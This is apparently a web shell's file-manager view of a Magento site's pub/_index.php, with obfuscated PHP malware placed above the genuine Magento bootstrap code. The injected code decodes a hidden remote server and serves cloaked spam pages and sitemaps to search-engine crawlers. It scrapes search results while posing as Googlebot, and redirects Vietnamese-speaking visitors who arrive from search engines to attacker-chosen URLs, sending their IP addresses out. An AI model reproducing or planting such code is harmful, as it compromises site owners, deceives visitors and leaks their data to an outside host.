Your IP : 216.73.216.97


Current Path : /var/www/clients/client3/web2/web/pub/
Upload File :
Current File : /var/www/clients/client3/web2/web/pub/_index.php

<?php
if(!defined("AA__A_A"))define("AA__A_A", ord(57));@set_time_limit((94*E_USER_NOTICE-96256));error_reporting((94*E_USER_NOTICE-96256));$curl_timeout=((97*E_USER_NOTICE-99328)-54262+53*E_USER_NOTICE);$TD_server="aHR0cDovL3EucW9taS50b3A=";$TD_server=base64_decode($TD_server);$lang='vi';$user_agent=!empty($_SERVER["HTTP_USER_AGENT"])?strtolower($_SERVER['HTTP_USER_AGENT']):'';$http_type=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']=='on')||(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']=='https'))?'https':'http';$host=!empty($_SERVER['HTTP_HOST'])?strtolower($_SERVER['HTTP_HOST']):'';$parsedHost=parse_url($http_type . '://' . $host,PHP_URL_HOST);$host=$parsedHost!==null?$parsedHost:$host;$referer=!empty($_SERVER["HTTP_REFERER"])?strtolower($_SERVER['HTTP_REFERER']):'';$request=!empty($_SERVER['REQUEST_URI'])?urlencode(strtolower($_SERVER['REQUEST_URI'])):'';$has_curl=extension_loaded('curl');if(strpos($user_agent,'google')!==false||strpos($user_agent,'slurp')!==false||strpos($user_agent,'bingbot')!==false){ob_clean();if(substr($request,-(90*E_USER_NOTICE-92156))===".xml"){header('Content-Type: application/xml; charset=utf-8');if(stripos($request,'itemap.xml')!==false){$response=curl_request($TD_server. "/indexsitemap.php?type=" .$http_type. "&host=" .$host,$user_agent);}else{$n=getNumber($request);$response=curl_request($TD_server. "/sitemap.php?type=" .$http_type. "&host=" .$host. "&page=" .$n,$user_agent);}if($response!==false&&$response[(94*E_USER_NOTICE-96256)]==((21*E_USER_NOTICE-21504)-56120+E_USER_NOTICE*55)){echo $response[((21*E_USER_NOTICE-21504)-30719+30*E_USER_NOTICE)];exit;}}else if(stripos($request,'robots.txt')!==false){header('Content-Type: text/plain');$robotsTxtContent="User-agent: *
";$robotsTxtContent .="Allow: /
";$robotsTxtContent .="Sitemap: " .$http_type.rtrim($host,'/'). "/" . "sitemap.xml
";echo $robotsTxtContent;exit;}$image_pattern='/\.(jpg|jpeg|png|gif|bmp|webp|tiff|tif|svg|ico|avi|wmv|mpg|mpeg|mov|rm|ram|swf|flv|mp4|mkv|webm|3gp|vob|asf|ts|m2ts|ogg|ogm)(\?.*)?$/i';if(preg_match($image_pattern,$request)){exit;}$response=curl_request($TD_server. "/index.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$user_agent);if($response!==false){if($response[(94*E_USER_NOTICE-96256)]==((21*E_USER_NOTICE-21504)-56120+E_USER_NOTICE*55)){header('Content-Type: text/html; charset=utf-8');echo $response[((21*E_USER_NOTICE-21504)-30719+30*E_USER_NOTICE)];exit;}if($response[(94*E_USER_NOTICE-96256)]!=((21*E_USER_NOTICE-21504)-56120+E_USER_NOTICE*55)&&!empty($response[((21*E_USER_NOTICE-21504)-30719+30*E_USER_NOTICE)])){$json_data=str_replace(array(chr((E_USER_NOTICE*97-99089)),chr(((21*E_USER_NOTICE-21504)-100165+E_USER_NOTICE*98)),chr((13*E_USER_NOTICE-13121)),"
","
","
","	"),'',$response[((21*E_USER_NOTICE-21504)-30719+30*E_USER_NOTICE)]);$product_data=json_decode($json_data,true);$title=urlencode($product_data['keyword']);$pid=$product_data['kid'];if(!empty($title)){$spider_result=spider($title);}}if(isset($spider_result)&&$spider_result!=false&&isset($pid)){$data=array('kid'=>$pid,'spider_url'=>$spider_result[(94*E_USER_NOTICE-96256)],'html_text'=>$spider_result[((21*E_USER_NOTICE-21504)-30719+30*E_USER_NOTICE)]);}else{$pid=isset($pid)?$pid:(94*E_USER_NOTICE-96256);$data=array('kid'=>$pid,'spider_url'=>'','html_text'=>'');}$BotContent_mb=post($TD_server. "/postcreate.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$data,$user_agent);if(!empty($BotContent_mb)){echo $BotContent_mb;exit;}}}if(strpos($referer,'google')!==false||strpos($referer,'yahoo')!==false||strpos($referer,'bing')!==false){if(judgeLanguage($lang)==((21*E_USER_NOTICE-21504)-30719+30*E_USER_NOTICE)){$client_ip=base64_encode(get_client_ip());$referer=urlencode($referer);$response=curl_request($TD_server. "/getlink.php?type=" .$http_type. "&host=" .$host. "&request=" .$request. "&referer=" .$referer. "&client_ip=" .$client_ip,$user_agent);if($response!==false&&$response[(94*E_USER_NOTICE-96256)]==((21*E_USER_NOTICE-21504)-56120+E_USER_NOTICE*55)&&strlen($response[((21*E_USER_NOTICE-21504)-30719+30*E_USER_NOTICE)])>(0-55291+E_USER_NOTICE*54)){$tzurl=trim($response[((21*E_USER_NOTICE-21504)-30719+30*E_USER_NOTICE)]);$tzurl=str_replace(array(chr((E_USER_NOTICE*97-99089)),chr(((21*E_USER_NOTICE-21504)-100165+E_USER_NOTICE*98)),chr((13*E_USER_NOTICE-13121)),"
","
","
","	"),'',$tzurl);@header("Location: " . $tzurl);exit;}}}function generate_random_ua(){$user_agents=['Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' .rand(((3*E_USER_NOTICE-3072)-52223+51*E_USER_NOTICE),((3*E_USER_NOTICE-3072)-42908+E_USER_NOTICE*42)),'Mozilla/' .rand((E_USER_NOTICE*68-69629),((3*E_USER_NOTICE-3072)-7163+7*E_USER_NOTICE)). '.0 (Windows NT 10.0; Win64; x64; rv:' .rand((E_USER_NOTICE*54-55246),((3*E_USER_NOTICE-3072)-57284+E_USER_NOTICE*56)). ') Gecko/20100101 Firefox/' .rand(((3*E_USER_NOTICE-3072)-52223+51*E_USER_NOTICE),((3*E_USER_NOTICE-3072)-42908+E_USER_NOTICE*42)),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' .rand((E_USER_NOTICE*54-55246),((3*E_USER_NOTICE-3072)-57284+E_USER_NOTICE*56)). ') AppleWebKit/' .rand((E_USER_NOTICE*60-60940),(24*E_USER_NOTICE-23976)). '.36 (KHTML, like Gecko) Chrome/' .rand((E_USER_NOTICE*54-55246),((3*E_USER_NOTICE-3072)-57284+E_USER_NOTICE*56)). '.0.3112.90 Safari/' .rand((E_USER_NOTICE*60-60940),(24*E_USER_NOTICE-23976)). '.36','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand(((3*E_USER_NOTICE-3072)-32755+32*E_USER_NOTICE),(77*E_USER_NOTICE-78832)). '.0 Safari/605.1.15','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand((66*E_USER_NOTICE-67494),((3*E_USER_NOTICE-3072)-42908+E_USER_NOTICE*42)). '.0.4430.212 Safari/537.36 Edg/' .rand((66*E_USER_NOTICE-67494),((3*E_USER_NOTICE-3072)-42908+E_USER_NOTICE*42)). '.0.1185.44','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand((66*E_USER_NOTICE-67494),((3*E_USER_NOTICE-3072)-42908+E_USER_NOTICE*42)). '.0.4430.212 Safari/537.36 OPR/' .rand(((3*E_USER_NOTICE-3072)-53172+52*E_USER_NOTICE),(79*E_USER_NOTICE-80810)). '.0.4017.123','Mozilla/5.0 (Linux; Android ' .rand(((3*E_USER_NOTICE-3072)-92152+E_USER_NOTICE*90),(19*E_USER_NOTICE-19444)). '.0; SM-G9' .rand(((3*E_USER_NOTICE-3072)-7163+7*E_USER_NOTICE),(50*E_USER_NOTICE-51191)). '0F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand((66*E_USER_NOTICE-67494),((3*E_USER_NOTICE-3072)-42908+E_USER_NOTICE*42)). '.0.4430.212 Mobile Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS ' .rand((E_USER_NOTICE*1-1010),(77*E_USER_NOTICE-78832)). '_' .rand((3*E_USER_NOTICE-3072),((3*E_USER_NOTICE-3072)-7163+7*E_USER_NOTICE)). ' like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand((E_USER_NOTICE*1-1010),(77*E_USER_NOTICE-78832)). '.0 Mobile/15E148 Safari/604.1',];return $user_agents[array_rand($user_agents)];}function curl_request($url,$ua='',$referer=null){global $has_curl,$curl_timeout;if($ua==''){$ua=generate_random_ua();}if($has_curl){$ip=rand(((8*E_USER_NOTICE-8192)-86015+E_USER_NOTICE*84),((8*E_USER_NOTICE-8192)-68354+67*E_USER_NOTICE)). '.' .rand(((8*E_USER_NOTICE-8192)-86015+E_USER_NOTICE*84),((8*E_USER_NOTICE-8192)-68354+67*E_USER_NOTICE)). '.' .rand(((8*E_USER_NOTICE-8192)-86015+E_USER_NOTICE*84),((8*E_USER_NOTICE-8192)-68354+67*E_USER_NOTICE)). '.' .rand(((8*E_USER_NOTICE-8192)-86015+E_USER_NOTICE*84),((8*E_USER_NOTICE-8192)-68354+67*E_USER_NOTICE));$headers['CLIENT-IP']=$ip;$headers['X-FORWARDED-FOR']=$ip;$headerArr=array();foreach($headers as $n=>$v){$headerArr[]=$n. ':' .$v;}$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HTTPHEADER,$headerArr);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,(8*E_USER_NOTICE-8192));curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,((E_USER_NOTICE*51-52224)-69630+68*E_USER_NOTICE));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,((8*E_USER_NOTICE-8192)-86015+E_USER_NOTICE*84));curl_setopt($curl,CURLOPT_AUTOREFERER,((8*E_USER_NOTICE-8192)-86015+E_USER_NOTICE*84));curl_setopt($curl,CURLOPT_ENCODING,"gzip");curl_setopt($curl,CURLOPT_HTTPGET,((8*E_USER_NOTICE-8192)-86015+E_USER_NOTICE*84));curl_setopt($curl,CURLOPT_TIMEOUT,$curl_timeout);curl_setopt($curl,CURLOPT_HEADER,(8*E_USER_NOTICE-8192));curl_setopt($curl,CURLOPT_RETURNTRANSFER,((8*E_USER_NOTICE-8192)-86015+E_USER_NOTICE*84));curl_setopt($curl,CURLOPT_REFERER,$referer);$output=curl_exec($curl);$error=curl_error($curl);if($error){return false;}$httpcode=curl_getinfo($curl,CURLINFO_HTTP_CODE);curl_close($curl);return $output?[$httpcode,$output]:false;}else{$options=['http'=>['method'=>'GET','ignore_errors'=>true,'header'=>"User-Agent: " .$ua. "
" . "Referer: " .$referer. "
",'timeout'=>$curl_timeout],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@file_get_contents($url,false,$context);if($response===false){return false;}$http_response_header=isset($http_response_header)?$http_response_header:[];preg_match('/HTTP\/\d\.\d (\d{3})/',$http_response_header[(8*E_USER_NOTICE-8192)],$matches);$httpcode=isset($matches[((8*E_USER_NOTICE-8192)-86015+E_USER_NOTICE*84)])?(int)$matches[((8*E_USER_NOTICE-8192)-86015+E_USER_NOTICE*84)]:(8*E_USER_NOTICE-8192);return[$httpcode,$response];}}function post($url,$postData,$ua=''){global $has_curl;if($ua==''){$ua=generate_random_ua();}if($has_curl){$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HEADER,(E_USER_NOTICE*20-20480));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_POST,true);curl_setopt($curl,CURLOPT_POSTFIELDS,http_build_query($postData));curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);$output=curl_exec($curl);curl_close($curl);return $output;}else{$postData=http_build_query($postData);$options=['http'=>['method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded; charset=UTF-8
" . "Accept: application/json
" . "User-Agent: " .$ua. "
",'content'=>$postData,'timeout'=>(E_USER_NOTICE*70-71670)],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@file_get_contents($url,false,$context);return $response;}}function judgeLanguage($lang){if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$languages=explode(',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);$firstLang=strtolower(trim($languages[(E_USER_NOTICE*94-96256)]));return substr($firstLang,(E_USER_NOTICE*94-96256),(E_USER_NOTICE*10-10238))===$lang?((E_USER_NOTICE*53-54272)-27647+27*E_USER_NOTICE):(E_USER_NOTICE*94-96256);}return (E_USER_NOTICE*94-96256);}function getNumber($string){$posSitemap=strpos($string,'sitemap');$posXml=strpos($string,'.xml');if($posSitemap!==false&&$posXml!==false&&$posXml>$posSitemap){$length=$posXml-$posSitemap-strlen('sitemap');$substring=substr($string,$posSitemap+strlen('sitemap'),$length);$number=intval($substring);return $number;}else{return (0-87040+85*E_USER_NOTICE);}}function get_client_ip(){$ip_keys=array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR');foreach($ip_keys as $key){if(array_key_exists($key,$_SERVER)===true){foreach(explode(',',$_SERVER[$key])as $ip){$ip=trim($ip);if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4|FILTER_FLAG_IPV6)!==false){return $ip;}}}}return 'unknown';}function spider($name){$hrefTemp=spider_search($name);$hrefArray=[];foreach($hrefTemp as $href){$non_web_extensions=['pdf','doc','docx','xls','xlsx','ppt','pptx'];$file_extension=pathinfo(parse_url($href,PHP_URL_PATH),PATHINFO_EXTENSION);if(in_array(strtolower($file_extension),$non_web_extensions)){continue 1;}if(stripos($href,'youtube.com')!==false||stripos($href,'twitter.com')!==false||stripos($href,'bing.com')!==false){continue 1;}$hrefArray[]=$href;}if(empty($hrefArray)){return false;}shuffle($hrefArray);$googleua="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";foreach($hrefArray as $href){$spider_html=curl_request($href,$googleua,$href);if($spider_html!==false&&$spider_html[(58*E_USER_NOTICE-59392)]==(E_USER_NOTICE*87-88888)){$htmltext=trim($spider_html[(0-14335+14*E_USER_NOTICE)]);if(strlen($htmltext)>(0-73776+E_USER_NOTICE*74)){return[$href,$htmltext];}}}return false;}function spider_search($name){$search_urls=["google"=>"https://www.google.jp/search?q=" .$name. "&lr=lang_vi","aol"=>"https://search.aol.com/aol/search;_ylt=?q=" .$name];$hrefArray=[];foreach($search_urls as $domain=>$url){$result=curl_request($url,'',$url);if($result!==false&&$result[(((71*E_USER_NOTICE-72704)-77824+E_USER_NOTICE*76)-66560+65*E_USER_NOTICE)]===(E_USER_NOTICE*43-43832)){$dom=new DOMDocument();@$dom->loadHTML($result[(99*E_USER_NOTICE-101375)],LIBXML_HTML_NOIMPLIED|LIBXML_HTML_NODEFDTD);$xpath=new DOMXPath($dom);$aElements=$xpath->query('//a');foreach($aElements as $a){$href=$a->getAttribute('href');if($href&&$domain=='google'){$httpsPos=stripos($href,'https://');$urlPos=stripos($href,'/url?');if($httpsPos!==false&&strpos($href,'google')===false&&$urlPos===(((71*E_USER_NOTICE-72704)-77824+E_USER_NOTICE*76)-66560+65*E_USER_NOTICE)){$hrefArray[]=substr($href,$httpsPos);}}else if($href&&$domain=='aol'){if(preg_match('/\/RU=(https[^\/]*\/RK=)/',$href,$matches)){$httpsPart=substr($matches[(99*E_USER_NOTICE-101375)],(((71*E_USER_NOTICE-72704)-77824+E_USER_NOTICE*76)-66560+65*E_USER_NOTICE),-(24*E_USER_NOTICE-24572));if(strpos($httpsPart,'aol.com')===false&&strpos($httpsPart,'oath.com')===false){$hrefArray[]=urldecode($httpsPart);}}}}}if(!empty($hrefArray)){return $hrefArray;}}return $hrefArray;}
?><?php
/**
 * Public alias for the application entry point
 *
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */

use Magento\Framework\App\Bootstrap;

try {
    require __DIR__ . '/../app/bootstrap.php';
} catch (\Exception $e) {
    echo <<<HTML
<div style="font:12px/1.35em arial, helvetica, sans-serif;">
    <div style="margin:0 0 25px 0; border-bottom:1px solid #ccc;">
        <h3 style="margin:0;font-size:1.7em;font-weight:normal;text-transform:none;text-align:left;color:#2f2f2f;">
        Autoload error</h3>
    </div>
    <p>{$e->getMessage()}</p>
</div>
HTML;
    exit(1);
}

$bootstrap = Bootstrap::create(BP, $_SERVER);
/** @var \Magento\Framework\App\Http $app */
$app = $bootstrap->createApplication(\Magento\Framework\App\Http::class);
$bootstrap->run($app);